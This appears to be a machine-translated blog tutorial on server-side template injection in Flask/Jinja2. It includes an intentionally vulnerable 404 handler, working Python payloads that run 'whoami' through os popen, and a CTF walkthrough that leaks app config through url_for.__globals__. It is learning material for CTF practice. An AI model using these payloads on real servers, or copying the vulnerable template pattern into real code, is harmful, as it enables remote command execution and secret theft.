当前位置:网站首页>SSTI template injection explanation and real problem practice
SSTI template injection explanation and real problem practice
2022-07-06 03:47:00 【Advertising fever】
0x00 SSTI
1. What is? SSTI Inject ?
SSTI Template Injection (Server-Side Template Injection), Through the interface with the server-side template Input output interaction , In the case of lax filtering , Construct malicious input data , So as to read files or getshell Purpose , at present CTF common SSTI In question , Most of them are exams python Of .
2. Causes and utilization conditions
The website processes the output pages by the data and template framework , Our data will not change in the database , But the template of the picture can be converted in various ways , Different templates can give people different visual feelings , But when the template has controllable parameter variables or the template code has the debugging function of the template , May lead to ssti Template Injection , This injection exists for most script types . It's common for python Of CTF More test sites
3. What are the hazards ?
It can cause file reading , Command execution , Code execution, etc
paylaod Analytical reference :
0x01 Case understanding SSTI
Sensitive function phrases :
flask
render_template_string
Python Case study :
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3> #%s obtain 404_url Parameter the contents of the following fields , So as to input controllable variable injection
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
Can be python Script execution , Injection of being
adopt payload type , can RCE Read files and operate the machine
os._wrap_close In the class popen.
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
0x02 CTF Case study
https://buuoj.cn/
Title Page :
structure 2-2 perform , That there is ssti Injection execution
View all global variables , Reference global variables
Use global variables to get the following config value
url_for() Function is used to build the specified function of operation URL
get_flashed_messages() The function is to get the passed data
Get global variables
/shrine/{
{url_for.__globals__}}
or
/shrine/{
{get_flashed_messages.__globals__}}
Use the current global variable to read :
/shrine/{
{url_for.__globals__['current_app'].config}}
or
/shrine/{
{get_flashed_messages.__globals__['current_app'].config}}
Add : pyc Decompile knowledge points
pyc It is also a form of script encapsulation , Be similar to
aspx:DLL file
java:.class/jar/war file
pyc Is a decompilable package , There are also those that are difficult to decompile pyd Wait for the documents
pyc Decompile reference website :
Decompile platform :
https://tool.lu/pyc/
http://tools.bugscaner.com/decompyle/
decompiler :https://github.com/wibiti/uncompyle2
边栏推荐
- The solution of permission denied (750 permissions should be used with caution)
- WPF效果第一百九十一篇之框选ListBox
- [slam] orb-slam3 parsing - track () (3)
- Do you know cookies, sessions, tokens?
- Facebook and other large companies have leaked more than one billion user data, and it is time to pay attention to did
- 简易博客系统
- LTE CSFB test analysis
- 3分钟带你了解微信小程序开发
- Cf603e pastoral oddities [CDQ divide and conquer, revocable and search set]
- How do we make money in agriculture, rural areas and farmers? 100% for reference
猜你喜欢
Canvas cut blocks game code
Flask learning and project practice 8: introduction and use of cookies and sessions
Overview of super-resolution reconstruction of remote sensing images
2.2 STM32 GPIO操作
Microkernel structure understanding
Image super-resolution using deep convolutional networks(SRCNN)解读与实现
1.16 - check code
Ks003 mall system based on JSP and Servlet
pytorch加载数据
Record the process of reverse task manager
随机推荐
阿里测试师用UI自动化测试实现元素定位
2.2 fonctionnement stm32 GPIO
BUAA喜鹊筑巢
Oracle ORA error message
Alibaba testers use UI automated testing to achieve element positioning
LTE CSFB test analysis
Failure causes and optimization methods of LTE CSFB
MySQL about self growth
Cf464e the classic problem [shortest path, chairman tree]
[analysis of variance] single factor analysis and multi factor analysis
A brief introduction to symbols and link libraries in C language
Simple blog system
Pytorch基础——(2)张量(tensor)的数学运算
User experience index system
简述C语言中的符号和链接库
2.2 STM32 GPIO操作
Pandora IOT development board learning (HAL Library) - Experiment 9 PWM output experiment (learning notes)
Map sorts according to the key value (ascending plus descending)
Blue Bridge Cup - Castle formula
Ethernet port &arm & MOS &push-pull open drain &up and down &high and low sides &time domain and frequency domain Fourier